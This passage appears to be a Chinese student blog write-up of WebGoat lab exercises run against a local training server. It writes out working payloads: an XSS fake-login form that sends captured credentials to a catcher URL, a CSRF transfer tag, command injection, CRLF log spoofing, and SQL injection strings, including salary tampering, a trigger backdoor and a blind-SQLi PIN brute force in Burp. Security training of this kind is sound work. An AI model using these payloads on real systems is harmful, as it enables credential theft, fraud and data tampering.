WebGoat分爲簡單版和開發板,簡單版是個Java的Jar包,只須要有Java環境便可,咱們在命令行裏執行:java -jar webgoat-container-7.0.1-war-exec.jar
運行WebGoat:
html
WebGoat使用8080端口,因此在瀏覽器上訪問localhost:8080/WebGoat
,進入WebGoat以後,能夠看到有不少題目來讓咱們進行練習。java
http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
,完整的XSS攻擊代碼以下:</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,如圖所示:
web
輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:
正則表達式
攻擊成功!
sql
<script>alert("lxm attack succeed!");</script>
當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看:
瀏覽器
這時若是咱們將帶有攻擊性的URL做爲輸入源,例如依舊輸入<script>alert("lxm attack succeed!");</script>
,就會彈出對話框:
安全
雖然這個效果和上一個存儲型XSS實驗的效果相似,可是二者所用的原理不同,存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板,而這個實驗中用的是反射型XSS攻擊是非持久化的,應用的場景好比欺騙用戶本身去點擊連接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的,因此通常來講存儲型XSS攻擊危害更大。服務器
咱們在message框中輸入這樣一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
,注意這裏面的Screen和menu的值每一個人的電腦可能不同,能夠在當前頁面的右邊有個Parameters進行查看:
cookie
提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。網絡
一開始我是直接在message中寫入了攻擊代碼,可是沒有成功,因而我換了一種方法,先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
進入確認轉帳請求頁面:
以後看了一下網頁的源代碼,發現transferFunds
的值變成了CONFIRM
:
因而點擊了CONFIRM
按鈕以後,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功轉走了5000元:
這個題是要求可以在目標主機上執行系統命令,咱們能夠經過火狐瀏覽器下的一個擴展Firebug(就是右上角的小蟲的標誌)對源代碼進行修改,例如在BackDoors.help
旁邊加上"& netstat -an & ipconfig"
:
以後在下拉菜單中能看到咱們修改後的值:
選中修改後的值再點view
,能夠看到命令被執行,出現系統網絡鏈接狀況:
咱們要經過注入SQL字符串的方式查看全部的天氣數據,咱們上次實驗作過相似的,只要加上一個1=1
這種永真式便可達到咱們的目的,依舊利用firebug,在任意一個值好比101
旁邊加上or 1=1
:
選中Columbia
,點Go
,能夠看到全部天氣數據:
咱們輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,在User Name
文本框中輸入lxm%0d%0aLogin Succeeded for username: admin
,其中%0d
是回車,%0a
是換行符:
如圖所示,攻擊成功:
仍是和以前同樣,基於select語句構造SQL注入字符串,在文本框中輸入' or 1=1 --
:
點Go
,攻擊成功,全部用戶信息都被顯示出來:
以用戶Neville登陸,在密碼欄中輸入' or 1=1 --
進行SQL注入,可是登陸失敗:
後面查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符:
對字符長度進行修改,而後從新登陸,登陸成功:
咱們仍是用上一題的辦法先以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile
:
在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:
以後就能夠查看到老闆的信息:
先輸一個101,獲得了該用戶的信息:
能夠發現輸入的語句沒有驗證,很容易進行SQL注入,輸入注入語句:101; update employee set salary=10000
,成功把該用戶的工資漲到了10000:
接下來使用語句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145215@163.com' WHERE userid = NEW.userid
建立一個後門,把表中全部的郵箱和用戶ID都設爲個人:
咱們的目標是找到pins
表中cc_number
字段值爲1111222233334444
的記錄中pin
字段的數值,從服務端頁面返回的信息中能夠知道,它只告訴你兩種信息:賬號有效或無效,咱們能夠先輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin
數值是否大於10000:
pin
的值在2000到2500之間,而後打開BurpSuite,關於BurpSuite代理的設置,你們能夠參考zqh的博客,或者本身百度,比較簡單。設置好代理後,抓個包而後send to intruder進行暴力破解,由於咱們只須要將載荷注入到一個地方,因此使用sniper
模式,再選擇攻擊的位置,先Clear
一下,把它默認的攻擊位置所有取消,如圖所示再選中account_number
後面的值點擊Add
:
選好攻擊位置後要設置載荷,因爲咱們要進行數字類型的暴力破解,因此選擇載荷類型爲Numbers
,步長爲1,再設置從2000到2500進行,設置完成後開始攻擊:
能夠看到2364的報文長度明顯和其餘不同,那這個值就應該就是2364:
將這個值輸入到網頁中,成功: